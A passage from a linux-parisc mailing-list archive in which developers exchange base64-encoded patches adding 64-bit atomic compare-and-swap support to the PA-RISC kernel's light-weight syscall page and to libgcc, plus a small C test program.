cGFyZSBzZWNvbmQgd29yZCAqLworMjA6CWxkdyxtYQk0KCVzcjMsJXIyNiksICVyMjkKKwlzdWIs
PQklcjI5LCAlcjIzLCAlcjAKKwliLG4JY2FzMl9lbmQKKwkvKiBQZXJmb3JtIHRoZSBzdG9yZSAq
LworMjE6CWZzdGR4CSVmcjQsIDAoJXNyMywlcjI2KQorCWNvcHkJJXIwLCAlcjI4CisjZW5kaWYK
KworY2FzMl9lbmQ6CisJLyogRnJlZSBsb2NrICovCisJc3R3LG1hCSVyMjAsIDAoJXNyMiwlcjIw
KQorCS8qIEVuYWJsZSBpbnRlcnJ1cHRzICovCisJc3NtCVBTV19TTV9JLCAlcjAKKwkvKiBSZXR1
cm4gdG8gdXNlcnNwYWNlLCBzZXQgbm8gZXJyb3IgKi8KKwliCWx3c19leGl0CisJY29weQklcjAs
ICVyMjEKKworMjI6CisJLyogRXJyb3Igb2NjdXJyZWQgb24gbG9hZCBvciBzdG9yZSAqLworCS8q
IEZyZWUgbG9jayAqLworCXN0dwklcjIwLCAwKCVzcjIsJXIyMCkKKwlzc20JUFNXX1NNX0ksICVy
MAorCWxkbwkxKCVyMCksJXIyOAorCWIJbHdzX2V4aXQKKwlsZG8JLUVGQVVMVCglcjApLCVyMjEJ
Lyogc2V0IGVycm5vICovCisJbm9wCisJbm9wCisJbm9wCisKKwkvKiBFeGNlcHRpb24gdGFibGUg
ZW50cmllcywgZm9yIHRoZSBsb2FkIGFuZCBzdG9yZSwgcmV0dXJuIEVGQVVMVC4KKwkgICBFYWNo
IG9mIHRoZSBlbnRyaWVzIG11c3QgYmUgcmVsb2NhdGVkLiAqLworCUFTTV9FWENFUFRJT05UQUJM
RV9FTlRSWSg0Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJ
QVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDViLWxpbnV4X2dhdGV3YXlfcGFnZSwgMjJiLWxpbnV4
X2dhdGV3YXlfcGFnZSkKKwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoNmItbGludXhfZ2F0ZXdh
eV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRS
WSg3Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VY
Q0VQVElPTlRBQkxFX0VOVFJZKDhiLWxpbnV4X2dhdGV3YXlfcGFnZSwgMjJiLWxpbnV4X2dhdGV3
YXlfcGFnZSkKKwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoOWItbGludXhfZ2F0ZXdheV9wYWdl
LCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxMGIt
bGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJ
T05UQUJMRV9FTlRSWSgxMWItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9w
YWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxM2ItbGludXhfZ2F0ZXdheV9wYWdlLCAy
MmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxNGItbGlu
dXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05U
QUJMRV9FTlRSWSgxNWItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdl
KQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxNmItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmIt
bGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxN2ItbGludXhf
Z2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJM
RV9FTlRSWSgxOGItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQor
CUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxOWItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGlu
dXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgyMGItbGludXhfZ2F0
ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorI2lmbmRlZiBDT05GSUdfNjRCSVQK
KwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoMTJiLWxpbnV4X2dhdGV3YXlfcGFnZSwgMjJiLWxp
bnV4X2dhdGV3YXlfcGFnZSkKKwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoMjFiLWxpbnV4X2dh
dGV3YXlfcGFnZSwgMjJiLWxpbnV4X2dhdGV3YXlfcGFnZSkKKyNlbmRpZgorCiAJLyogTWFrZSBz
dXJlIG5vdGhpbmcgZWxzZSBpcyBwbGFjZWQgb24gdGhpcyBwYWdlICovCiAJLmFsaWduIFBBR0Vf
U0laRQogRU5EKGxpbnV4X2dhdGV3YXlfcGFnZSkKQEAgLTY3NSw4ICs5MDgsOSBAQCBFTlRSWShl
bmRfbGludXhfZ2F0ZXdheV9wYWdlKQogCS8qIExpZ2h0LXdlaWdodC1zeXNjYWxsIHRhYmxlICov
CiAJLyogU3RhcnQgb2YgbHdzIHRhYmxlLiAqLwogRU5UUlkobHdzX3RhYmxlKQotCUxXU19FTlRS
WShjb21wYXJlX2FuZF9zd2FwMzIpCS8qIDAgLSBFTEYzMiBBdG9taWMgY29tcGFyZSBhbmQgc3dh
cCAqLwotCUxXU19FTlRSWShjb21wYXJlX2FuZF9zd2FwNjQpCS8qIDEgLSBFTEY2NCBBdG9taWMg
Y29tcGFyZSBhbmQgc3dhcCAqLworCUxXU19FTlRSWShjb21wYXJlX2FuZF9zd2FwMzIpCQkvKiAw
IC0gRUxGMzIgQXRvbWljIDMyYml0IGNvbXBhcmUgYW5kIHN3YXAgKi8KKwlMV1NfRU5UUlkoY29t
cGFyZV9hbmRfc3dhcDY0KQkJLyogMSAtIEVMRjY0IEF0b21pYyAzMmJpdCBjb21wYXJlIGFuZCBz
d2FwICovCisJTFdTX0VOVFJZKGNvbXBhcmVfYW5kX3N3YXBfMikJCS8qIDIgLSBFTEYzMiBBdG9t
aWMgNjRiaXQgY29tcGFyZSBhbmQgc3dhcCAqLwogRU5EKGx3c190YWJsZSkKIAkvKiBFbmQgb2Yg
bHdzIHRhYmxlICovCiAK
--=_a65a2effa8fc3e62c5634e2c4e423ad1--


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC PATCHv2] 64bit LWS CAS
Date: Wed, 30 Jul 2014 11:45:45 +0200
Lines: 163
Approved: news@gmane.org
Message-ID: <00504f8799179598023926105b3a0ba2@tuxicoman.be>
References: <20140729211334.02d2b5e2@borg.lux.tuxicoman.be>
 <53D810FB.9010406@gmx.de> <f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_afd20038a3984b2c7bb561ddc8ae978d"
X-Trace: ger.gmane.org 1406713576 22484 80.91.229.3 (30 Jul 2014 09:46:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 30 Jul 2014 09:46:16 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-parisc-owner@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 30 11:46:06 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XCQSS-0007fs-N2
	for glpp-linux-parisc@plane.gmane.org; Wed, 30 Jul 2014 11:46:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751982AbaG3JqD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 30 Jul 2014 05:46:03 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:51754 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751577AbaG3JqD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 30 Jul 2014 05:46:03 -0400
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 30 Jul 2014 11:45:41 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1XCQS9-0004pH-CZ; Wed, 30 Jul 2014 11:45:45 +0200
In-Reply-To: <f4954acbf0d2c11646341cb93efdd247@tuxicoman.be>
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5965>

--=_afd20038a3984b2c7bb561ddc8ae978d
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=UTF-8;
 format=flowed

Even better with all the files attached ....

   Guy
--=_afd20038a3984b2c7bb561ddc8ae978d
Content-Transfer-Encoding: base64
Content-Type: text/x-patch;
 name=gcc-64bit-atomic-cas2_v2.patch
Content-Disposition: attachment;
 filename=gcc-64bit-atomic-cas2_v2.patch;
 size=4521

SW5kZXg6IGxpYmdjYy9jb25maWcvcGEvbGludXgtYXRvbWljLmMKPT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gbGli
Z2NjL2NvbmZpZy9wYS9saW51eC1hdG9taWMuYwkocmV2aXNpb24gMjEyOTQyKQorKysgbGliZ2Nj
L2NvbmZpZy9wYS9saW51eC1hdG9taWMuYwkod29ya2luZyBjb3B5KQpAQCAtNzUsNiArNzUsMzEg
QEAKICAgcmV0dXJuIGx3c19lcnJubzsKIH0KIAorc3RhdGljIGlubGluZSBsb25nCitfX2tlcm5l
bF9jbXB4Y2hnMiAodm9pZCAqIG9sZHZhbCwgdm9pZCAqIG5ld3ZhbCwgdm9pZCAqbWVtLCBpbnQg
dmFsX3NpemUpCit7CisKKyAgcmVnaXN0ZXIgdW5zaWduZWQgbG9uZyBsd3NfbWVtIGFzbSgicjI2
IikgPSAodW5zaWduZWQgbG9uZykgKG1lbSk7CisgIHJlZ2lzdGVyIGxvbmcgbHdzX3JldCAgIGFz
bSgicjI4Iik7CisgIHJlZ2lzdGVyIGxvbmcgbHdzX2Vycm5vIGFzbSgicjIxIik7CisgIHJlZ2lz
dGVyIHVuc2lnbmVkIGxvbmcgbHdzX29sZCBhc20oInIyNSIpID0gKHVuc2lnbmVkIGxvbmcpIG9s
ZHZhbDsKKyAgcmVnaXN0ZXIgdW5zaWduZWQgbG9uZyBsd3NfbmV3IGFzbSgicjI0IikgPSAodW5z
aWduZWQgbG9uZykgbmV3dmFsOworICByZWdpc3RlciBpbnQgbHdzX3NpemUgYXNtKCJyMjMiKSA9
IHZhbF9zaXplOworICBhc20gdm9sYXRpbGUgKAkiYmxlCTB4YjAoJSVzcjIsICUlcjApCVxuXHQi
CisJCQkibGRpCSUyLCAlJXIyMAkJXG5cdCIKKwk6ICI9ciIgKGx3c19yZXQpLCAiPXIiIChsd3Nf
ZXJybm8pCisJOiAiaSIgKDIpLCAiciIgKGx3c19tZW0pLCAiciIgKGx3c19vbGQpLCAiciIgKGx3
c19uZXcpLCAiciIgKGx3c19zaXplKQorCTogInIxIiwgInIyMCIsICJyMjIiLCAicjI5IiwgInIz
MSIsICJmcjQiLCAibWVtb3J5IgorICApOworICBpZiAoX19idWlsdGluX2V4cGVjdCAobHdzX2Vy
cm5vID09IC1FRkFVTFQgfHwgbHdzX2Vycm5vID09IC1FTk9TWVMsIDApKQorICAgIEFCT1JUX0lO
U1RSVUNUSU9OOworCisgIC8qIElmIHRoZSBrZXJuZWwgTFdTIGNhbGwgZmFpbHMsIHJldHJ1biBF
QlVTWSAqLworICBpZiAoIWx3c19lcnJubyAmJiBsd3NfcmV0KQorICAgIGx3c19lcnJubyA9IC1F
QlVTWTsKKworICByZXR1cm4gbHdzX2Vycm5vOworfQogI2RlZmluZSBISURERU4gX19hdHRyaWJ1
dGVfXyAoKHZpc2liaWxpdHkgKCJoaWRkZW4iKSkpCiAKIC8qIEJpZyBlbmRpYW4gbWFza3MgICov
CkBAIC04NCw2ICsxMDksMjkgQEAKICNkZWZpbmUgTUFTS18xIDB4ZmZ1CiAjZGVmaW5lIE1BU0tf
MiAweGZmZmZ1CiAKKyNkZWZpbmUgRkVUQ0hfQU5EX09QX0RXT1JEKE9QLCBQRlhfT1AsIElORl9P
UCkJCQkJCVwKKyAgbG9uZyBsb25nIEhJRERFTgkJCQkJCQkJXAorICBfX3N5bmNfZmV0Y2hfYW5k
XyMjT1AjI184IChsb25nIGxvbmcgKnB0ciwgbG9uZyBsb25nIHZhbCkJCQlcCisgIHsJCQkJCQkJ
CQkJXAorICAgIGxvbmcgbG9uZyB0bXAsIG5ld3ZhbDsJCQkJCQkJXAorICAgIGludCBmYWlsdXJl
OwkJCQkJCQkJXAorCQkJCQkJCQkJCVwKKyAgICBkbyB7CQkJCQkJCQkJXAorICAgICAgdG1wID0g
KnB0cjsJCQkJCQkJCVwKKyAgICAgIG5ld3ZhbCA9IFBGWF9PUCAodG1wIElORl9PUCB2YWwpOwkJ
CQkJCVwKKyAgICAgIGZhaWx1cmUgPSBfX2tlcm5lbF9jbXB4Y2hnMiAoJnRtcCwgJm5ld3ZhbCwg
cHRyLCAzKTsJCQlcCisgICAgfSB3aGlsZSAoZmFpbHVyZSAhPSAwKTsJCQkJCQkJXAorCQkJCQkJ
CQkJCVwKKyAgICByZXR1cm4gdG1wOwkJCQkJCQkJCVwKKyAgfQorCitGRVRDSF9BTkRfT1BfRFdP
UkQgKGFkZCwgICAsICspCitGRVRDSF9BTkRfT1BfRFdPUkQgKHN1YiwgICAsIC0pCitGRVRDSF9B
TkRfT1BfRFdPUkQgKG9yLCAgICAsIHwpCitGRVRDSF9BTkRfT1BfRFdPUkQgKGFuZCwgICAsICYp
CitGRVRDSF9BTkRfT1BfRFdPUkQgKHhvciwgICAsIF4pCitGRVRDSF9BTkRfT1BfRFdPUkQgKG5h
bmQsIH4sICYpCisKICNkZWZpbmUgRkVUQ0hfQU5EX09QX1dPUkQoT1AsIFBGWF9PUCwgSU5GX09Q
KQkJCQlcCiAgIGludCBISURERU4JCQkJCQkJCVwKICAgX19zeW5jX2ZldGNoX2FuZF8jI09QIyNf
NCAoaW50ICpwdHIsIGludCB2YWwpCQkJCVwKQEAgLTE0Nyw2ICsxOTUsMjkgQEAKIFNVQldPUkRf
U1lOQ19PUCAoeG9yLCAgICwgXiwgdW5zaWduZWQgY2hhciwgMSwgb2xkdmFsKQogU1VCV09SRF9T
WU5DX09QIChuYW5kLCB+LCAmLCB1bnNpZ25lZCBjaGFyLCAxLCBvbGR2YWwpCiAKKyNkZWZpbmUg
T1BfQU5EX0ZFVENIX0RXT1JEKE9QLCBQRlhfT1AsIElORl9PUCkJCQkJCVwKKyAgbG9uZyBsb25n
IEhJRERFTgkJCQkJCQkJXAorICBfX3N5bmNfIyNPUCMjX2FuZF9mZXRjaF84IChsb25nIGxvbmcg
KnB0ciwgbG9uZyBsb25nIHZhbCkJCQlcCisgIHsJCQkJCQkJCQkJXAorICAgIGxvbmcgbG9uZyB0
bXAsIG5ld3ZhbDsJCQkJCQkJXAorICAgIGludCBmYWlsdXJlOwkJCQkJCQkJXAorCQkJCQkJCQkJ
CVwKKyAgICBkbyB7CQkJCQkJCQkJXAorICAgICAgdG1wID0gKnB0cjsJCQkJCQkJCVwKKyAgICAg
IG5ld3ZhbCA9IFBGWF9PUCAodG1wIElORl9PUCB2YWwpOwkJCQkJCVwKKyAgICAgIGZhaWx1cmUg
PSBfX2tlcm5lbF9jbXB4Y2hnMiAoJnRtcCwgJm5ld3ZhbCwgcHRyLCAzKTsJCQlcCisgICAgfSB3
aGlsZSAoZmFpbHVyZSAhPSAwKTsJCQkJCQkJXAorCQkJCQkJCQkJCVwKKyAgICByZXR1cm4gUEZY
X09QICh0bXAgSU5GX09QIHZhbCk7CQkJCQkJXAorICB9CisKK09QX0FORF9GRVRDSF9EV09SRCAo
YWRkLCAgICwgKykKK09QX0FORF9GRVRDSF9EV09SRCAoc3ViLCAgICwgLSkKK09QX0FORF9GRVRD
SF9EV09SRCAob3IsICAgICwgfCkKK09QX0FORF9GRVRDSF9EV09SRCAoYW5kLCAgICwgJikKK09Q
X0FORF9GRVRDSF9EV09SRCAoeG9yLCAgICwgXikKK09QX0FORF9GRVRDSF9EV09SRCAobmFuZCwg
fiwgJikKKwogI2RlZmluZSBPUF9BTkRfRkVUQ0hfV09SRChPUCwgUEZYX09QLCBJTkZfT1ApCQkJ
CVwKICAgaW50IEhJRERFTgkJCQkJCQkJXAogICBfX3N5bmNfIyNPUCMjX2FuZF9mZXRjaF80IChp
bnQgKnB0ciwgaW50IHZhbCkJCQkJXApAQCAtMTgyLDYgKzI1MywyNiBAQAogU1VCV09SRF9TWU5D
X09QICh4b3IsICAgLCBeLCB1bnNpZ25lZCBjaGFyLCAxLCBuZXd2YWwpCiBTVUJXT1JEX1NZTkNf
T1AgKG5hbmQsIH4sICYsIHVuc2lnbmVkIGNoYXIsIDEsIG5ld3ZhbCkKIAorbG9uZyBsb25nIEhJ
RERFTgorX19zeW5jX3ZhbF9jb21wYXJlX2FuZF9zd2FwXzggKGxvbmcgbG9uZyAqcHRyLCBsb25n
IGxvbmcgb2xkdmFsLCBsb25nIGxvbmcgbmV3dmFsKQoreworICBsb25nIGxvbmcgYWN0dWFsX29s
ZHZhbDsKKyAgaW50IGZhaWw7CisgICAgCisgIHdoaWxlICgxKQorICAgIHsKKyAgICAgIGFjdHVh
bF9vbGR2YWwgPSAqcHRyOworCisgICAgICBpZiAoX19idWlsdGluX2V4cGVjdCAob2xkdmFsICE9
IGFjdHVhbF9vbGR2YWwsIDApKQorCXJldHVybiBhY3R1YWxfb2xkdmFsOworCisgICAgICBmYWls
ID0gX19rZXJuZWxfY21weGNoZzIgKCZhY3R1YWxfb2xkdmFsLCAmbmV3dmFsLCBwdHIsIDMpOwor
ICAKKyAgICAgIGlmIChfX2J1aWx0aW5fZXhwZWN0ICghZmFpbCwgMSkpCisJcmV0dXJuIGFjdHVh
bF9vbGR2YWw7CisgICAgfQorfQorCiBpbnQgSElEREVOCiBfX3N5bmNfdmFsX2NvbXBhcmVfYW5k
X3N3YXBfNCAoaW50ICpwdHIsIGludCBvbGR2YWwsIGludCBuZXd2YWwpCiB7CkBAIC0yNTYsNiAr
MzQ3LDIwIEBACiBTVUJXT1JEX0JPT0xfQ0FTICh1bnNpZ25lZCBzaG9ydCwgMikKIFNVQldPUkRf
Qk9PTF9DQVMgKHVuc2lnbmVkIGNoYXIsICAxKQogCitsb25nIGxvbmcgSElEREVOCitfX3N5bmNf
bG9ja190ZXN0X2FuZF9zZXRfOCAobG9uZyBsb25nICpwdHIsIGxvbmcgbG9uZyB2YWwpCit7Cisg
IGxvbmcgbG9uZyBvbGR2YWw7CisgIGludCBmYWlsdXJlOworCisgIGRvIHsKKyAgICBvbGR2YWwg
PSAqcHRyOworICAgIGZhaWx1cmUgPSBfX2tlcm5lbF9jbXB4Y2hnMiAoJm9sZHZhbCwgJnZhbCwg
cHRyLCAzKTsKKyAgfSB3aGlsZSAoZmFpbHVyZSAhPSAwKTsKKworICByZXR1cm4gb2xkdmFsOwor
fQorCiBpbnQgSElEREVOCiBfX3N5bmNfbG9ja190ZXN0X2FuZF9zZXRfNCAoaW50ICpwdHIsIGlu
dCB2YWwpCiB7CkBAIC0yOTQsNiArMzk5LDE3IEBACiBTVUJXT1JEX1RFU1RfQU5EX1NFVCAodW5z
aWduZWQgY2hhciwgIDEpCiAKIHZvaWQgSElEREVOCitfX3N5bmNfbG9ja19yZWxlYXNlXzggKGlu
dCAqcHRyKQoreworICBsb25nIGxvbmcgZmFpbHVyZSwgb2xkdmFsLCB6ZXJvID0gMDsKKworICBk
byB7CisgICAgb2xkdmFsID0gKnB0cjsKKyAgICBmYWlsdXJlID0gX19rZXJuZWxfY21weGNoZzIg
KCZvbGR2YWwsICZ6ZXJvLCBwdHIsIDMpOworICB9IHdoaWxlIChmYWlsdXJlICE9IDApOworfQor
Cit2b2lkIEhJRERFTgogX19zeW5jX2xvY2tfcmVsZWFzZV80IChpbnQgKnB0cikKIHsKICAgaW50
IGZhaWx1cmUsIG9sZHZhbDsK
--=_afd20038a3984b2c7bb561ddc8ae978d
Content-Transfer-Encoding: base64
Content-Type: text/x-csrc;
 name=hppa-cas2-test.c
Content-Disposition: attachment;
 filename=hppa-cas2-test.c;
 size=2903

I2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN0ZGludC5o
PgojaW5jbHVkZSA8ZXJybm8uaD4KCi8qIEtlcm5lbCBoZWxwZXIgZm9yIGNvbXBhcmUtYW5kLWV4
Y2hhbmdlIHZhbHVlcy4gICovCnN0YXRpYyBpbmxpbmUgbG9uZwprZXJuZWxfY21weGNoZzIgKHZv
aWQgKiBvbGR2YWwsIHZvaWQgKiBuZXd2YWwsIHZvaWQgKm1lbSwgaW50IHZhbF9zaXplKQp7Cgog
IHByaW50ZigiT2xkdmFsIDogJXAsIE5ld3ZhbCA6ICVwLCBtZW0gOiAlcCwgc2l6ZSA6ICV1XG4i
LCBvbGR2YWwsIG5ld3ZhbCwgbWVtLCB2YWxfc2l6ZSk7CgogIHJlZ2lzdGVyIHVuc2lnbmVkIGxv
bmcgbHdzX21lbSBhc20oInIyNiIpID0gKHVuc2lnbmVkIGxvbmcpIChtZW0pOwogIHJlZ2lzdGVy
IGxvbmcgbHdzX3JldCAgIGFzbSgicjI4Iik7CiAgcmVnaXN0ZXIgbG9uZyBsd3NfZXJybm8gYXNt
KCJyMjEiKTsKICByZWdpc3RlciB1bnNpZ25lZCBsb25nIGx3c19vbGQgYXNtKCJyMjUiKSA9ICh1
bnNpZ25lZCBsb25nKSBvbGR2YWw7CiAgcmVnaXN0ZXIgdW5zaWduZWQgbG9uZyBsd3NfbmV3IGFz
bSgicjI0IikgPSAodW5zaWduZWQgbG9uZykgbmV3dmFsOwogIHJlZ2lzdGVyIGludCBsd3Nfc2l6
ZSBhc20oInIyMyIpID0gdmFsX3NpemU7CiAgYXNtIHZvbGF0aWxlICgJImJsZQkweGIwKCUlc3Iy
LCAlJXIwKQlcblx0IgoJCQkibGRpCSUyLCAlJXIyMAkJXG5cdCIKCTogIj1yIiAobHdzX3JldCks
ICI9ciIgKGx3c19lcnJubykKCTogImkiICgyKSwgInIiIChsd3NfbWVtKSwgInIiIChsd3Nfb2xk
KSwgInIiIChsd3NfbmV3KSwgInIiIChsd3Nfc2l6ZSkKCTogInIxIiwgInIyMCIsICJyMjIiLCAi
cjI5IiwgInIzMSIsICJmcjQiLCAibWVtb3J5IgogICk7CgogIGlmIChsd3NfZXJybm8gPT0gLUVG
QVVMVCB8fCBsd3NfZXJybm8gPT0gLUVOT1NZUykKICAJYWJvcnQoKTsKCiAgLyogSWYgdGhlIGtl
cm5lbCBMV1MgY2FsbCBmYWlscywgcmV0cnVuIEVCVVNZICovCiAgaWYgKCFsd3NfZXJybm8gJiYg
bHdzX3JldCkKICAgIGx3c19lcnJubyA9IC1FQlVTWTsKICBwcmludGYoImx3c19lcnJubyA6ICVs
ZCwgbHdzX3JldCA6ICVsZFxuIiwgbHdzX2Vycm5vLCBsd3NfcmV0KTsKCiAgcmV0dXJuIGx3c19l
cnJubzsKfQoKbG9uZyBsb25nIHN5bmNfZmV0Y2hfYW5kX2FkZF84KGxvbmcgbG9uZyAqcHRyLCBs
b25nIGxvbmcgdmFsKSB7CgoJaW50IGZhaWx1cmU7Cglsb25nIGxvbmcgdG1wLCBuZXd2YWw7CgoJ
ZG8gewoJCXRtcCA9ICpwdHI7CgkJbmV3dmFsID0gdG1wICsgdmFsOwoJCWZhaWx1cmUgPSBrZXJu
ZWxfY21weGNoZzIoJnRtcCwgJm5ld3ZhbCwgcHRyLCAzKTsKCgkJcHJpbnRmKCJGYWlsdXJlIDog
JWRcbiIsIGZhaWx1cmUpOwoJfSB3aGlsZSAoZmFpbHVyZSAhPSAwKTsKCglyZXR1cm4gdG1wOwp9
CgppbnQgc3luY19mZXRjaF9hbmRfYWRkXzQoaW50ICpwdHIsIGludCB2YWwpIHsKCglpbnQgZmFp
bHVyZTsKCWludCB0bXAsIG5ld3ZhbDsKCglkbyB7CgkJdG1wID0gKnB0cjsKCQluZXd2YWwgPSB0
bXAgKyB2YWw7CgkJZmFpbHVyZSA9IGtlcm5lbF9jbXB4Y2hnMigmdG1wLCAmbmV3dmFsLCBwdHIs
IDIpOwoJCXByaW50ZigiRmFpbHVyZSA6ICVkXG4iLCBmYWlsdXJlKTsKCX0gd2hpbGUgKGZhaWx1
cmUgIT0gMCk7CgoJcmV0dXJuIHRtcDsKfQoKaW50IHN5bmNfZmV0Y2hfYW5kX2FkZF8yKHVuc2ln
bmVkIHNob3J0ICpwdHIsIHVuc2lnbmVkIHNob3J0IHZhbCkgewoKCWludCBmYWlsdXJlOwoJdW5z
aWduZWQgc2hvcnQgdG1wLCBuZXd2YWw7CgoJZG8gewoJCXRtcCA9ICpwdHI7CgkJbmV3dmFsID0g
dG1wICsgdmFsOwoJCWZhaWx1cmUgPSBrZXJuZWxfY21weGNoZzIoJnRtcCwgJm5ld3ZhbCwgcHRy
LCAxKTsKCQlwcmludGYoIkZhaWx1cmUgOiAlZFxuIiwgZmFpbHVyZSk7Cgl9IHdoaWxlIChmYWls
dXJlICE9IDApOwoKCXJldHVybiB0bXA7Cn0KCmludCBzeW5jX2ZldGNoX2FuZF9hZGRfMSh1bnNp
Z25lZCBjaGFyICpwdHIsIHVuc2lnbmVkIGNoYXIgdmFsKSB7CgoJaW50IGZhaWx1cmU7Cgl1bnNp
Z25lZCBjaGFyIHRtcCwgbmV3dmFsOwoKCWRvIHsKCQl0bXAgPSAqcHRyOwoJCW5ld3ZhbCA9IHRt
cCArIHZhbDsKCQlmYWlsdXJlID0ga2VybmVsX2NtcHhjaGcyKCZ0bXAsICZuZXd2YWwsIHB0ciwg
MCk7CgkJcHJpbnRmKCJGYWlsdXJlIDogJWRcbiIsIGZhaWx1cmUpOwoJfSB3aGlsZSAoZmFpbHVy
ZSAhPSAwKTsKCglyZXR1cm4gdG1wOwp9CmludCBtYWluKCkgewoKCgl1bnNpZ25lZCBjaGFyIGEx
ID0gMHgyOwoJdW5zaWduZWQgY2hhciBiMSA9IHN5bmNfZmV0Y2hfYW5kX2FkZF8xKCZhMSwgMSk7
Cgl1bnNpZ25lZCBjaGFyICpjMSA9ICZhMTsKCXByaW50ZigiMSB8IGEgOiAlaGh4LCBiIDogJWho
eCwgKmMgOiAlaGh4XG4iLCBhMSwgYjEsICpjMSk7CgoJdW5zaWduZWQgc2hvcnQgYTIgPSAweDEw
MDI7Cgl1bnNpZ25lZCBzaG9ydCBiMiA9IHN5bmNfZmV0Y2hfYW5kX2FkZF8yKCZhMiwgMSk7Cgl1
bnNpZ25lZCBzaG9ydCAqYzIgPSAmYTI7CglwcmludGYoIjIgfCBhIDogJWh4LCBiIDogJWh4LCAq
YyA6ICVoeFxuIiwgYTIsIGIyLCAqYzIpOwoKCWludCBhNCA9IDB4MzAwMDAwMjsKCWludCBiNCA9
IHN5bmNfZmV0Y2hfYW5kX2FkZF80KCZhNCwgMSk7CglpbnQgKmM0ID0gJmE0OwoJcHJpbnRmKCI0
IHwgYSA6ICV4LCBiIDogJXgsICpjIDogJXhcbiIsIGE0LCBiNCwgKmM0KTsKCglsb25nIGxvbmcg
YTggPSAweDMwMDAwMDAwMDEyOwoJbG9uZyBsb25nIGI4ID0gX19zeW5jX2ZldGNoX2FuZF9hZGRf
OCgmYTgsIDEpOwoJbG9uZyBsb25nICpjOCA9ICZhODsKCXByaW50ZigiOCB8IGEgOiAlbGx4LCBi
IDogJWxseCwgKmMgOiAlbGx4XG4iLCBhOCwgYjgsICpjOCk7CgkKCXJldHVybiAwOwoKfQo=
--=_afd20038a3984b2c7bb561ddc8ae978d--


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
